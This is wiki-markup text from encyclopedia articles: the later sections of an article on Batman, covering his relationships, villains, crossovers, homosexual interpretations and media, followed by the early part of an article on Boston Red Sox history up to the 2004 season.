Batman has had many romantic relationships throughout his various incarnations.  They have been with villainesses ([[Catwoman]], [[Talia al Ghul]] and [[Poison Ivy (comics)|Poison Ivy]]); reporters ([[Vicki Vale]] and Vesper Fairchild); superheroines ([[Wonder Woman]], [[Batwoman]] and [[Zatanna]]); ex-sidekick ([[Sasha Bordeaux]]); and others including Silver St. Cloud, Julie Madison, physician Shondra Kinsolving, Dr. Chase Meridian and nurse Linda Page. With the exception of Catwoman, these relationships have been notable mainly for their short duration; Batman's attraction to Catwoman, however, has been in nearly every version and media the character has appeared in. Authors have gone back and forth over the years as to how Batman manages the 'playboy' aspect of Bruce Wayne's personality; at different times he is variously embracing or fleeing from the women interested in attracting 'Gotham's most eligible bachelor'.

==Enemies of Batman==
{{main|Enemies of Batman}}

[[Image:BatmanVillainsSecretFiles.jpg|thumb|right|175px|Cover to ''Batman Villains Secret Files 2005''. Art by Barrionuevo &amp; Bit.]]

Batman's foes form one of the most distinctive [[rogues gallery|rogues galleries]] in comics. In the 1930s and 1940s the most familiar Batman villains evolved: The [[Joker (comics)|Joker]], [[Catwoman]], the [[Penguin (comics)|Penguin]], [[Two-Face]], the [[Riddler (comics)|Riddler]], [[Mad Hatter (comics)|Mad Hatter]], [[Scarecrow (comics)|Scarecrow]], [[Man-Bat]] and [[Clayface]]. Other well known villains emerged in the 1950s, 1960s and 1970s including [[Mister Freeze]], [[Poison Ivy (comics)|Poison Ivy]], and [[Ra's Al Ghul]]. [[Killer Croc]], [[Black Mask (comics)|Black Mask]] and the [[Ventriloquist (comics)|Ventriloquist]] emerged in the 1980s, and [[Bane (comics)|Bane]] and [[Harley Quinn]] in the 1990s. Later enemies have been introduced, such as [[Hush (comics)|Hush]], [[David Cain (comics)|David Cain]] and a new [[Red Hood]] ([[Jason Todd]] returned from the dead). These enemies, with Bane, Ra's and the Riddler, know Batman´s true identity and use that against him. Also Catwoman was told Batmans true identity by Bruce Wayne, and the location of the batcave.

==Crossovers==
:''See also [[Intercompany crossover]].''

Batman as a DC Comics' character has from time to time been featured in crossovers  with characters from other comic companies, most commonly with [[Marvel Comics]].  Many of these stories are not [[canonical|canon]] for the companies involved, although the DC/Marvel crossovers appear to have some ongoing validity in the [[DC universe]]. 

The first such crossover was with the Incredible [[Hulk (comics)|Hulk]] in the late 1970s.  Batman, both as Jean-Paul Valley and Bruce Wayne, also encountered the [[Punisher]]. Batman and [[Captain America]] have both fought each other in the ''[[Marvel vs. DC]]'' event, and were allies against the [[Red Skull]] and the [[Joker (comics)|Joker]] in ''Crossover Classics II''. Since then, they have encountered each other again in ''[[JLA/Avengers]]''.  Batman has also worked together with [[Spider-Man]] twice, the first simply titled ''Spider-Man/Batman'', with appearances from Marvel's [[Carnage (comics)|Carnage]] and DC's Joker.  The sequel, ''Batman &amp; Spider-Man'', brought the two heroes together to face [[Ra's al Ghul]] and the [[Kingpin (comics)|Kingpin]]. Two other Batman and Marvel crossovers feature [[Daredevil (Marvel Comics) |Daredevil]].

Crossovers with other companies include [[Judge Dredd]], [[Spawn (comics)|Spawn]], [[Grendel (comics)|Grendel]], [[Yautja|Predators]], [[Xenomorphs|Aliens]], [[Tarzan]], [[Danger Girl]], [[Planetary]] and [[The Spirit]].

==Homosexual interpretations==
[[Image:Batman panel - Robin what have I done to you.jpg|thumb|left|250px|From ''Justice League of America'' #44. Published in 1966.]]

In 1954, psychologist [[Fredric Wertham]]'s general assertion in his book ''[[Seduction of the Innocent]]'' was that readers would imitate crimes committed in comic books, and that these works would corrupt the morals of the youth.  The most notorious charge in the book, however, was leveled at Batman, in a four-page polemic claiming that Batman and Robin were [[gay]].  &amp;quot;They live in sumptuous quarters, with beautiful flowers in large vases, and have a butler,&quot; Wertham wrote. &quot;It is like a wish dream of two [[homosexuals]] living together.&quot; What was more, Wertham asserted, &quot;the Batman type of story may stimulate children to homosexual fantasies.&quot;  

Wertham became aware of this alternative reading through his conversations with fans of Batman in the fifties, who brought the comic book to his attention as an example of the idealization of a &quot;homosexual lifestyle.&quot; [[Burt Ward]] has also remarked upon this interpretation, in his autobiographical ''Boy Wonder: My Life in Tights'' noting that the relationship could be interpreted as a sexual one, with the show's double entendres and lavish camp also possibly offering ambiguous interpretation.&lt;ref&gt;{{cite web | title=Bruce Wayne: Bachelor | work=Ninth Art: Andrew Wheeler Coment | url=http://www.ninthart.com/display.php?article=963 | accessdate=June 21 | accessyear=2005}}&lt;/ref&gt; This is despite the fact that the TV series was an attempt at a tamer version of Batman which tried to be less violent than the comic series — one of Wertham's arguments against comics. 

[[Image:Batgirlbettebatmite.jpg|thumb|right|250px|Bat-girl, from ''Batman'' #144 (December 1961)]]

Despite the lack of any concrete cause-and-effect link between reading comics and &quot;deviance&quot;, these  suggestions raised a public outcry during the 1950s, eventually leading to the establishment of the [[Comics Code Authority]]. It has also been suggested by scholars that the characters of [[Batwoman]] (in 1956) and [[Batgirl|Bat-Girl]] (in 1961) were introduced in part to refute the allegation that Batman and Robin were gay, and the stories took on a campier, lighter feel.&lt;ref&gt;{{cite journal | last = York | first = Christopher | title=All in the family: Homophobia and Batman Comics in the 1950s | journal=The International Journal of Comic Art | year=2000 | volume=2 | issue=2 | pages=100–110  | url= }}&lt;/ref&gt;

However, commenting on homosexual interpretations of Batman, writer [[Alan Grant]] has stated that &quot;the Batman I wrote for 13 years isn't gay. Denny O'Neil's Batman, Marv Wolfman's Batman, everybody's Batman all the way back to Bob Kane...none of them wrote him as a gay character. Only [[Joel Schumacher]] might have had an opposing view.&quot;,&lt;ref&gt;{{cite web | title=Is Batman Gay? | work= | url=http://www.silverbulletcomicbooks.com/panel/106070953757230.htm | accessdate=December 28 | accessyear=2005}}&lt;/ref&gt; whilst [[Devin Grayson]] has commented &quot;it depends who you ask, doesn't it? Since you're asking me, I'll say no, I don't think he is ... I certainly understand the gay readings, though.&quot;&lt;ref&gt;#{{cite web | title=Is Batman Gay? | work= | url=http://www.silverbulletcomicbooks.com/panel/106070953757230.htm | accessdate=December 28 | accessyear=2005}}&lt;/ref&gt;

While changing morals have made the issue less important today, popular culture and a number of artists continue to play off the homosexual connotation of their relationship, against the wishes of the publisher. One notable example occurred in 2000, when [[DC Comics]] refused to allow permission for the reprinting of four panels (from ''Batman'' issues 79, 92, 105 and 139) to illustrate Christopher York's paper ''All in the family: Homophobia and Batman Comics in the 1950s''&lt;ref&gt;#{{cite journal | last = Beatty | first = Bart | title=Don't Ask, Don't Tell: How Do You Illustrate an Academic Essay about Batman and Homosexuality? | journal=The Comics Journal | year=2000 | volume= | issue=228 | pages=17–18  | url= }}&lt;/ref&gt; Another happened in the summer of 2005, when painter Mark Chamberlain displayed a number of watercolors depicting both Batman and Robin in suggestive poses. DC threatened both artist and [[Art gallery|gallery]] with legal action if they did not cease selling the works, and also demanded that all remaining art as well as any profits be handed over.&lt;ref&gt;#{{note|BBC_Chamberlain}} {{news reference
  |firstname=
  |lastname=
  |pages=
  |title=Gallery told to drop 'gay' Batman
  |date=[[19 August]] [[2005]]
  |org=BBC
  |url=http://news.bbc.co.uk/2/hi/entertainment/4167032.stm
}}&lt;/ref&gt;

==Bibliography==
{{main|Batman (bibliography)}}
:''See also [[List of Batman comics]].''

The in-continuity Batman of the DC Universe can currently be seen as the primary character in current comic book series such as ''[[Detective Comics]]'', ''[[Batman (comic book)|Batman]]'', ''[[Legends of the Dark Knight]]'', ''[[Superman/Batman]]'' and ''[[Batman: Gotham Knights]]''.  

Long running former series in which Batman starred included ''[[Batman Family]]'', ''[[The Brave and the Bold]]'' and ''[[World's Finest Comics]]''.

He appears regularly in many other DC titles, including ''[[Justice League|JLA]]'', ''[[Robin (comics)|Robin]]'', ''[[Nightwing]]'', ''[[Batgirl]]'', ''[[Birds of Prey]]'', ''[[Gotham Central]]'' and ''[[Catwoman]]''.

The series ''[[All Star Batman and Robin|All Star Batman and Robin the Boy Wonder]]'' is not in continuity. 

Significant developments in the Batman mythos were seen during [[Bill Finger]] and [[Bob Kane]]'s run on the series in the 1930s and 1940s, [[Denny O'Neil]], [[Len Wein]] and [[Neal Adams]]'s work in the 1970s, and later others such as [[Grant Morrison]] and [[Dave McKean]].  In addition to their contributions, notable [[limited series]] which featured Batman include ''[[Batman: Year One]]'' by [[Frank Miller]], ''[[Batman: The Killing Joke]]'' by [[Alan Moore]] and [[Brian Bolland]], and ''[[The Dark Knight Returns|Batman: The Dark Knight Returns]]'', again by [[Frank Miller]].

==In other media==
[[Image:Szenenbild 03 518x700.jpg|120px|thumb|[[Christian Bale]] as Bruce Wayne from ''Batman Begins'']]
{{main|Batman in other media}}

In addition to comic books, Batman has appeared in newspaper syndicated comic strips, books, radio dramas, television and several theatrical feature films, including ''[[Batman Begins]]'', the 2005 smash hit which Ebert and Roeper called &quot;one of the best films of the year.&quot; In addition, there is a musical theatre (''[[Batman: The Musical]]''), set to premiere sometime in 2006/2007. There are several Batman video games, and even the [[Six Flags]] theme parks host Batman shows and rides. Over the last decade, Batman has appeared in starring or supporting roles in the [[Bruce Timm]]-helmed [[DC Animated Universe]], from ''[[Batman: The Animated Series]]'' to ''[[Justice League Unlimited]].''

Given Batman's cultural ubiquity and long-standing iconic status, references to Batman, either as homage, influence, or parody, are common. Other comic companies have often created their own version of the character, such as [[Marvel Comics|Marvel's]] [[Nighthawk (Marvel Comics)|Nighthawk]], and [[Image Comics]]' [[Darkwing]] among others.

==Trivia==
* The character was named Bruce Wayne in honor of Robert Bruce, the Scottish Patriot, and &quot;Mad&quot; Anthony Wayne, the American Revolutionary War general. 
* A personality trait that creator Bob Kane shared with Batman was a certain fondness for keeping late hours.
* Official DC statistics state that Batman stands 6'2&quot; and weighs 220 lbs. Coincidentally, [[Adam West]] is also that height, and at the time of ''Batman Begins''' filming [[Christian Bale]] weighed 220 lbs.
* In all Spanish language dubs and translations, Bruce Wayne is named '''Bruno Diaz'''.

==References==
* [[Les Daniels|Daniels, Les]].  ''DC Comics: Sixty Years of the World's Favorite Comic Book Heroes''.
* [[Gerard Jones|Jones, Gerard]].  ''Men of Tomorrow: Geeks, Gangsters, and the Birth of the Comic Book''.
* Beatty, Scott, ''et al.'', ''The Batman Handbook: The Ultimate Training Manual''. Quirk Books, March 30th, 2005. ISBN 1594740232
*[http://members.surfbest.net/argentium@surfbest.net/batman.htm The Golden Age Batman Chronology]
*[http://www.goldenagebatman.com The Golden Age Batman Web Site]
*[http://www.findarticles.com/p/articles/mi_g1epc/is_tov/ai_2419100098 St. James Encyclopedia of Pop Culture]
*[http://www.bookrags.com/history/popculture/batman-bbbb-02/ Bookrags]
*[http://www.guardian.co.uk/g2/story/0,,314504,00.html Article in ''The Guardian'' on Batman's 60th anniversary]
*[http://darkmark6.tripod.com/batmanind1.html A chronological index and issue summaries of the Silver Age Batman's comics]

==Notes and references==
&lt;div style=&quot;font-size:90%&quot;&gt;
&lt;references/&gt;
&lt;/div&gt;

==See also==
===Additional information===
* [[Supporting characters of Batman]]
* [[Enemies of Batman]]
* [[Batman in other media]]
* [[List of Batman comics]]
* [[Comics Code Authority]]
* [[Batman Beyond]]

===Related information===
* [[Spring Heeled Jack]]
* [[Seduction of the Innocent]]

==External links==
*[http://www.dccomics.com/features/batman/index.html DC Comics - Batman]
*[http://www.batman.com/ Warner Brothers official Batman site]
*[http://www.batman-on-film.com/ Batman-on-Film]
*[http://www.rpi.edu/~bulloj/search/BATMAN.html The comics research bibliography: Batman] - an international bibliography of comic books, comic strips, animation, caricature, cartoons, bandes dessinees, and related topics
* [http://search.dmoz.org/cgi-bin/search?search=batman DMOZ - Open web directory - Listings for Batman]
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The '''Boston Red Sox''' are a [[Major League Baseball]] team located in [[Boston, Massachusetts|Boston]], [[Massachusetts]] in the [[United States]].  The team is in the [[American League East|Eastern Division]] of the [[American League]].  Their main [[Yankees-Red Sox rivalry|rival]] is the [[New York Yankees]].

==Franchise history==
===Early 20&lt;sup&gt;th&lt;/sup&gt; century===
[[Image:1903_world_series_crowd.jpg|left|thumb|300px|Crowd outside the [[1903 World Series]].]]
The Boston Red Sox won the first World Series in 1903 against the favored [[National League]] team, the [[Pittsburgh Pirates]].In the following decade, the club won four World Series championships in a six-year span despite changing ownership several times. The 1912 and 1915 clubs featured an outfield considered to be among the finest in the game: [[Tris Speaker]], [[Harry Hooper]] and [[Duffy Lewis]], as well as superstar pitcher [[Smokey Joe Wood]].  The Sox won the Fall Classic both years.

The Red Sox were owned by [[Joseph Lannin]] from 1913 to 1916, who signed [[Babe Ruth]], commonly seen as the best player in baseball history. In 1919, the team's new owner, [[Harry Frazee]], sold Ruth to the [[New York Yankees]]. Legend has it that he did so in order to finance a [[Broadway (Manhattan)|Broadway]] play ''[[No, No, Nanette|No, No Nanette]]'' starring 'a friend', but the play actually did not open on Broadway until 1925.
Rather, the Red Sox, White Sox and Yankees had a detente, the teams being referred to as the &quot;Insurrectos,&quot; whose actions antagonized then AL president [[Ban Johnson]].  Alhough Frazee owned the Boston Red Sox franchise, he did not own Fenway Park (this was owned by the Fenway Park Trust), making his ownership a precarious one — Johnson could move another team into Fenway Park in Boston.  Despite the fact Ruth held the single season homerun record (hitting 29 in 1919[http://www.baseball-reference.com/leaders/HR_leagues.shtml]), Frazee sold Ruth because he needed the money to purchase Fenway Park (which he did in 1920), the Red Sox franchise was in serious debt, Ruth was a serious disciplinary problem (and continued to be one in New York), and letting the Yankees have a box office attraction would help the then mediocre Yankees, who had sided with Frazee in conflicts with &quot;the Loyal Five&quot; other AL teams and Ban Johnson[http://espn.go.com/mlb/s/2002/0718/1407265.html].
The contract was a straight sale; the Red Sox got no players in return. This transaction would later become the source of the [[Curse of the Bambino]] legend, which suggested that the club was doomed to years of futility as a result of the trade. Frazee also unloaded a number of other Hall of Fame quality players to the Yankees for other reasons. [[Carl Mays]] quit the team in mid-game and refused to return; his trade was essentially a salvage operation. Other Frazee-era players went to New York as part of Frazee's financial strategy after he decided to leave baseball, having been driven out by Ban Johnson, including [[Sad Sam Jones]] and [[Waite Hoyt]]. These players (some of them Hall of Fame members) formed the nucleus of the first championship Yankee teams of the 1920s.

===The Ted Williams Era===
[[Image:Tedwilliams and tomyawkey.jpg|left|frame|Ted Williams &amp; Tom Yawkey]]
The Red Sox were purchased in 1933 by a wealthy, shy young man named [[Tom Yawkey]] who began pumping money into the team. In 1939, the Red Sox purchased the contract of [[outfielder]] [[Ted Williams]], then playing in the [[Pacific Coast League]], ushering in an era of the team sometimes called the &quot;Ted Sox&quot;.  Williams was perhaps the most obsessive hitter in baseball history, and is generally considered the greatest hitter of all time because of his ability to hit for both power and average.  Stories of his being able to hold a bat in his hand and correctly estimate its weight down to the ounce have floated around baseball circles for decades.  ''Science of Hitting'',  his book on the subject, is considered by some as a bible of hitting theory and science.   He is also the last player to hit over .400 for a full season, which he did in 1941.

With Williams, the Red Sox went to the World Series in 1946, but lost to the [[St. Louis Cardinals]] in seven games, in part because of the use of the &quot;Williams Shift&quot;, in which the shortstop would move to the right side of the infield to make it harder for the left-handed-hitting Williams to hit to that side of the field.  Some have claimed that Williams was too proud to hit to the other side of the field, not wanting to let the Cardinals take away his game.  He did not hit well in the Series, gathering only five singles in 25 at-bats, for a .200 average.  However, his performance may have also been influenced by an elbow injury he had received a few days before when he was hit by a pitch in an exhibition game.  In any case, 1946 would be the only year that Williams would play in a World Series.

The Red Sox featured several other very good players during the 1940s, including SS [[Johnny Pesky]] (for whom the right field foul pole in Fenway - &quot;Pesky's Pole&quot; - is named), 2B [[Bobby Doerr]], and CF [[Dom DiMaggio]] (brother of [[Joe DiMaggio|Joe]]).  Despite this, they lost the pennant by one game in 1948 (losing a one-game playoff to the Indians, the first in American League history) and 1949 (losing the final two games of the season to the Yankees).

[[Image:Oldredsoxlogo.gif|thumb|Red Sox logo from 1950-1961]]The 1950s were a lean time for the Red Sox.  After Williams returned from the [[Korean War]], many of the best players from the late 1940s had retired or been traded.  The stark contrast in the team led critics to call the Red Sox' daily lineup &quot;Ted Williams and the Seven Dwarfs&quot;.  Also, unlike many other teams, they refused to sign black players, even passing up chances at future Hall-of-Famers [[Jackie Robinson]] and [[Willie Mays]], both of whom tried out for Boston and were highly praised by team scouts. Ted Williams hit .388 at the age of 38 in 1957, but there was little else for Boston fans to root for. Williams retired at the end of the 1960 season, famously hitting a home run in his final at-bat. The Sox finally became the last Major League team to sign an [[African American]] player when they signed modest [[Infielder|infielder]] [[Pumpsie Green]] in 1959.  

Supposedly the right-field bullpens in Fenway Park were built in part for Williams' left-handed swing, and are sometimes called &quot;Williamsburg&quot;.

===Carl &quot;Yaz&quot; Yastrzemski and the Impossible Dream===
&lt;!--No Source Information: [[Image:Carl yastrzemski.jpg|thumb|180px|left|Carl &quot;Yaz&quot; Yastrzemski]]--&gt;
The 1960s also started poorly for the Red Sox, though 1961 saw the debut of [[Carl Yastrzemski|Carl &quot;Yaz&quot; Yastrzemski]], who would become one of the best hitters of the pitching-rich decade.

Red Sox fans recollect 1967 as the year of the &quot;Impossible Dream.&quot;  The slogan refers to the hit song from the popular musical play &quot;[[Man of La Mancha]].&quot;  The team had finished the 1966 season in ninth place, but they found new life with Yastrzemski leading the team to the World Series.  Yastrzemski won the American League [[Triple crown (baseball)|Triple Crown]] and put on one of the greatest displays of hitting down the stretch in baseball history.  But the Red Sox lost the series - again to the [[St. Louis Cardinals]] in seven games.  The 1967 season is remembered as one of the great pennant races in baseball history because four teams were in the AL pennant race until almost the last game.

Although the Red Sox would be competitive for much of the next seven seasons, they never finished higher than second.  The closest they came to a divisional title was 1972, when oddly they lost by a half-game to the [[Detroit Tigers]].  The start of the season was delayed by a players' strike, and the Red Sox further lost a game to a rainout that was never ordered to be replayed, which caused the Red Sox to lose the division by a half-game.

The Red Sox won the AL pennant in 1975, with Yastrzemski surrounded by other stars such as rookie outfielders [[Jim Rice]] and [[Fred Lynn]] (who won both the AL [[MLB Rookie of the Year award|Rookie of the Year]] and [[MLB Most Valuable Player award|MVP]] awards), veteran outfielder [[Dwight Evans]], catcher [[Carlton Fisk]], and pitchers [[Luis Tiant]] and eccentric junkballer [[Bill Lee]]. In the playoffs, the Sox swept [[Catfish Hunter]] and the [[Oakland A's]] in three games.

Game 6 of the [[1975 World Series]], against the [[Cincinnati Reds]]' &quot;Big Red Machine,&quot; is regarded by many as the greatest game in baseball postseason history. It was an extra-inning drama that featured dramatic home runs by [[Bernie Carbo]] and Fisk (the latter was the famous, game-winning &quot;body English&quot; homerun), as well as a sensational game-saving catch by Dwight Evans. Despite the series-tying win, the Red Sox lost Game 7, and this time it would be Yaz who never again played in a World Series.

In 1978, the Red Sox and the Yankees were involved in one of the most memorable pennant races in baseball history.  Despite being 14 1/2 games behind the Red Sox in July, on September 10th, after completing a 4-game sweep of the Red Sox, the Yankees pulled into a tie for the divisional lead.  

For the final three weeks of the season, the teams fought closely and exchanged the lead frequently.  By the final day of the season, the Yankees' magic number to win the division was one - that is, either a win over Cleveland or a Boston loss to Toronto would clinch the division for the Yankees.  However, New York lost 9-2 and Boston won 5-1, forcing a one-game playoff to be held at Fenway Park on Monday, October 2nd.

Although most people remember [[Bucky Dent]]'s three-run home run in the 7th inning off [[Mike Torrez]] just over the [[Green Monster (Fenway Park)|Green Monster]] which gave the Yankees a 4-2 lead, it was [[Reggie Jackson]]'s solo home run in the 8th that proved the difference in what would be a 5-4 Yankee win, which ended with Yastrzemski popping out to third base with [[Rick Burleson]] representing the tying run at third.

===The '86 World Series and Morgan's Magic===
After the [[1978 in baseball|1978]] playoff, the Red Sox wouldn't reach the postseason for the next seven years, finishing no higher than third during this period. Yastrzemski retired after the [[1983 in baseball|1983]] season in which the Red Sox finished sixth in the seven-team AL East, posting their worst record since [[1966 in baseball|1966]]. 

However, the team's fortunes changed in [[1986 in baseball|1986]].  While its offense had remained strong with the likes of [[Jim Rice]], [[Dwight Evans]], [[Don Baylor]], and future [[Baseball Hall of Fame|Hall of Famer]] [[Wade Boggs]], the team had always lacked an ace pitcher to lead the staff.  That season [[Roger Clemens]] stepped into that role, posting a 24-4 record with a 2.48 [[Earned run average|ERA]] to win both the [[American League]] [[Cy Young Award|Cy Young]] and [[MLB Most Valuable Player Award|Most Valuable Player]] awards, marking the first time a starting pitcher swept those two awards since [[Vida Blue]] was named MVP in 1971. The Red Sox won the AL East for the first time in eleven seasons, drawing the [[Los Angeles Angels of Anaheim|California Angels]] in the [[1986 American League Championship Series|AL Championship Series]]. 

The Series started badly for the Red Sox.  The teams split the first two games in Boston, but the Angels won the next two games at home, taking a 3-1 Series lead.  As California looked to close out the series with a Game Five win, things looked grim for the Sox, who trailed 5-2 heading into the ninth inning.  It was then that the Red Sox started their comeback, which turned the tide of the entire series.  A two-run homer by Baylor cut the lead to one; then, with two outs and a runner on, and one strike away from elimination, [[Dave Henderson]] homered off [[Donnie Moore]] to put Boston up 6-5.  Although the Angels tied the game in the bottom of the ninth inning, the Red Sox won in the eleventh on a Henderson sacrifice fly off Moore. Boston cruised to six and seven run wins at [[Fenway Park]] in Games Six and Seven to win the American League title for the first time since 1975. The Red Sox' win in Game Seven was the first Game Seven playoff win in the team's history.

The Red Sox faced the [[New York Mets]] in the [[1986 World Series]].  Boston got off to a great start, winning the first two games in [[Shea Stadium]], only to lose the next two at Fenway, evening the series at two games apiece.  After a Game 5 win in Boston, the Red Sox returned to [[Flushing Meadows Park|Flushing Meadows]] looking to wrap up their first championship in 68 years.  However, Game Six would go down as one of the most devastating losses in club history.  After a strong outing by Clemens, the Mets tied the game 3-3 in the eighth by scoring a run off [[relief pitcher|reliever]] [[Calvin Schiraldi]].  The game went to extra innings, where the Red Sox took a 5-3 lead in the top of the tenth.  After two quick outs, the Red Sox stood just one out away from breaking their championship drought.  However, things then went terribly wrong, culminating in one of the most infamous moments in major league history.  After three straight [[Single (baseball)|singles]] and a [[wild pitch]] by [[Bob Stanley]], the Mets tied the game at five. Although it looked like the Red Sox might have been able to extend the game when [[Mookie Wilson]] hit a slow [[Types of batted balls in baseball|ground ball]] to [[first baseman]] [[Bill Buckner]] for what would have been the final out of the inning, the ball rolled through Buckner's legs, allowing [[Ray Knight]] to score the winning run from third.  While Buckner was singled out as the biggest goat, many observers - as well as both Wilson and Buckner - have noted that, even if Buckner had fielded the ball cleanly, Wilson most likely would still have been safe, leaving the game-winning run at third with two out.  The Red Sox would go on to lose Game Seven, concluding the devastating collapse and feeding the myth that the club actually was &quot;cursed.&quot;

The Red Sox next returned to the postseason in [[1988 in baseball|1988]].  With the club in fourth place, manager [[John McNamara (baseball)|John McNamara]] was fired and replaced by [[Joe Morgan (manager)|Joe Morgan]].  Immediately the club won 12 games in a row, and 19 of 20 overall, to surge to the AL East title in what would be referred to as ''Morgan's Magic''.  But the magic was short-lived, as the team was swept by the [[Oakland Athletics]] in the [[1988 American League Championship Series|ALCS]].  Ironically, the MVP of that Series was former Red Sox pitcher [[Dennis Eckersley]], who [[Save (sport)|saved]] all four wins for Oakland. Two years later, in [[1990 in baseball|1990]], the Red Sox would again win the division and face the Athletics in the [[1990 American League Championship Series|ALCS]].  However, the outcome was the same, with the A's sweeping the Series in four games.

===After the Yawkeys===
Tom Yawkey died in 1976, and his wife [[Jean R. Yawkey|Jean]] took control of the team until her death in 1992. A trust controlled by [[John Harrington (Red Sox CEO)|John Harrington]] took control of the team, ending over 60 years of Yawkey ownership.  The initials of Jean and Tom Yawkey are displayed in Morse Code on the Green Monster scoreboard as a tribute.

Longtime Sox general manager [[Lou Gorman]] was replaced in 1994 by [[Dan Duquette]], a Massachusetts native who had previously run the [[Montreal Expos]].  Duquette's reign began with promises to revive the flagging Sox [[minor league baseball|farm system]], and in fact Duquette did have some degree of success in building that area: during his tenure the farm system produced several quality players including [[Trot Nixon]] and [[Nomar Garciaparra]]. In addition, unlike previous management, Duquette was unafraid to grant huge contracts to major stars, most famously the eight-year, $160 million deal given to [[Manny Ramírez]] after the [[2001 in baseball|2001]] season - which was the first high-profile open market [[free agent]] signing by the Red Sox.

Duquette caused much angst amongst Red Sox fans with many of his personnel moves, most notably allowing beloved players [[Roger Clemens]] and [[Mo Vaughn]] to leave as free agents.  Although the very popular Vaughn's departure was widely decried by Red Sox fans at the time, Vaughn (who won the AL MVP in 1995) accomplished very little after leaving Boston, and was eventually forced to retire in 2003 due to various injuries.  However, Duquette also allowed Clemens to leave Boston after the 1996 season, saying that Clemens was &quot;in the twilight of his career.&quot; After leaving Boston, Clemens went on to win four more Cy Young awards (two with the Blue Jays, one with the Yankees, and one with the [[Houston Astros]]), as well as two World Championships with the arch-rival Yankees.  Duquette was roundly criticized for allowing Clemens to leave in the wake of Clemens' post-Boston successes, even though Clemens had been troubled with serious injuries, weight problems, and bouts of ineffectiveness that resulted in a personal record of 40 wins and 39 losses over his last four seasons with the Red Sox. 

Duquette's abrasive manner and tendency to micromanage off-the-field issues also resulted in the Red Sox suffering a public relations hit.  In 1999, Duquette called Fenway Park &quot;economically obsolete&quot; and, along with Red Sox ownership, led a push for a brand new stadium to be built near the current stadium.  Despite the approval of a grant by the [[Massachusetts General Court|Massachusetts Legislature]] and key political support, issues with buying out neighboring property and steadfast opposition within Boston's city council eventually doomed the project. Duquette was also infamously involved with a crackdown on independent sausage vendors selling outside of Fenway Park before games, which had been a tradition outside of [[Fenway Park]] since it opened in 1912 - an issue that was settled amicably in 2002, when the Red Sox agreed to let peanut and sausage vendors operate all around Fenway Park in exchange for the vendors' support for a plan to extend the ballpark's concourse onto Yawkey Way.

On the field, the Red Sox had some success during this period, but were unable to return to the World Series.  In the strike-shortened [[1995 in baseball|1995]] season, the Sox won the newly-realigned [[American League East]], finishing seven games ahead of the Yankees. However, they were swept in three games by the [[Cleveland Indians]], running their postseason losing streak to 13 games, dating back to the [[1986 World Series]].

In [[1998 in baseball|1998]], the Red Sox dealt young [[pitcher]]s [[Tony Armas, Jr.]] and [[Carl Pavano]] to the [[Montreal Expos]] in exchange for star pitcher [[Pedro Martínez]], who went on to have several spectacular seasons for the Red Sox. Later that season the team won the Wild Card, but again lost the [[American League Division Series]] to the Indians.  This time they lost the series 3-1 despite winning Game One 11-3 behind Martinez. 

In 1999 the Red Sox got revenge on the Indians. Cleveland took a 2-0 series lead, but Boston staged an improbable comeback, winning the next three games thanks to the strong pitching of [[Derek Lowe]], Pedro Martínez and his older brother [[Ramón Martínez (baseball pitcher)|Ramón]].  The series featured several memorable games.  Game Four's 23-7 win by the Red Sox was the highest scoring playoff game in history.  Game Five was a tense affair, with the Indians taking a 5-2 lead after two innings, but Pedro Martínez, nursing a shoulder injury, came on in the fourth inning and pitched six innings of no-hit ball while the offense rallied for a 12-8 win behind two home runs from [[Troy O'Leary]]. The Red Sox then met the Yankees in the [[American League Championship Series]], but came up short, losing the series four games to one.

===New Ownership, New Era===
In [[2002 in baseball|2002]], the Red Sox were sold by president and Yawkey trustee John Harrington to a consortium headed by principal owner [[John Henry (baseball)|John Henry]] with [[Tom Werner]] serving as executive chairman and [[Larry Lucchino]] serving as president and CEO. Dan Duquette was fired on February 28 and, while former Angels general manager Mike Port served as interim-GM in 2002, he was eventually replaced by [[Yale University|Yale]] graduate [[Theo Epstein]] after [[Oakland Athletics|Oakland]]'s [[Billy Beane]] turned down the position. Epstein, who at age 28 became the youngest general manager in the history of the Major Leagues at that time, grew up in nearby [[Brookline, Massachusetts|Brookline]] rooting for the Red Sox.

Hopes ran high in the [[2003 in baseball|2003]] season, but the postseason would deliver yet another blow to Red Sox fans.  The Sox rallied from a 2-0 deficit against the [[Oakland Athletics]] to win the best-of-five [[2003 American League Division Series|American League Division Series]].  Game Five was especially dramatic, with Derek Lowe saving a 4-3 victory by striking out the A's [[Terrence Long]] with the tying run on third base. They then faced the Yankees in the [[2003 American League Championship Series]]. In the deciding seventh game, Boston led 5-2 in the eighth inning, but [[Pedro Martínez]] allowed three runs to tie the game, including Jason Giambi's second home run of the game. The Red Sox could not score off of Mariano Rivera over the last three innings and lost the game 6-5 on a home run by Yankee [[third baseman]] [[Aaron Boone]] off of [[Tim Wakefield]]'s first pitch of the 11th inning. 

Many Red Sox fans blamed the loss on their manager, [[Grady Little]], for not removing Martínez after seven strong innings, when he began to show signs of tiring. It was viewed as the culmination of two years of questionable decision-making by Little, and shortly after the ALCS Little was fired. He would be replaced by [[Terry Francona]], who would lead the Red Sox to not only some of the greatest moments in the franchise's history, but an epic comeback unprecedented in baseball history.

===The 2004 World Series Championship===
During the 2003-04 offseason, the Red Sox acquired another ace pitcher in [[Curt Schilling]] and a closer in [[Keith Foulke]] to bolster the pitching staff. Expectations once again ran high that [[2004 in baseball|2004]] would finally be the year that the Red Sox ended their championship drought. The regular season did not start well, and through midseason the team had struggled mightily, falling more than ten games behind New York. Management shook up the team at the MLB trading deadline [[July 31]] when they traded the team's popular yet often hurt and disgruntled shortstop [[Nomar Garciaparra]] to the [[Chicago Cubs]], getting [[Orlando Cabrera]] of the [[Montreal Expos]] and [[Doug Mientkiewicz]] of the [[Minnesota Twins]] in return. In a separate transaction, the Red Sox also traded AAA outfielder [[Henri Stanley]] to the [[Los Angeles Dodgers]] for speedy centerfielder [[Dave Roberts]]. The club would turn things around soon after, going on to finish within three games of the Yankees in the AL East and qualifying for the playoffs as the AL Wild Card. Players and fans affectionately referred to the players as &quot;The Idiots,&quot; a term coined by [[Johnny Damon]] and [[Kevin Millar]] during the playoff push to describe the team's eclectic roster and devil-may-care attitude toward the supposed &quot;[[Curse of the Bambino]].&quot;

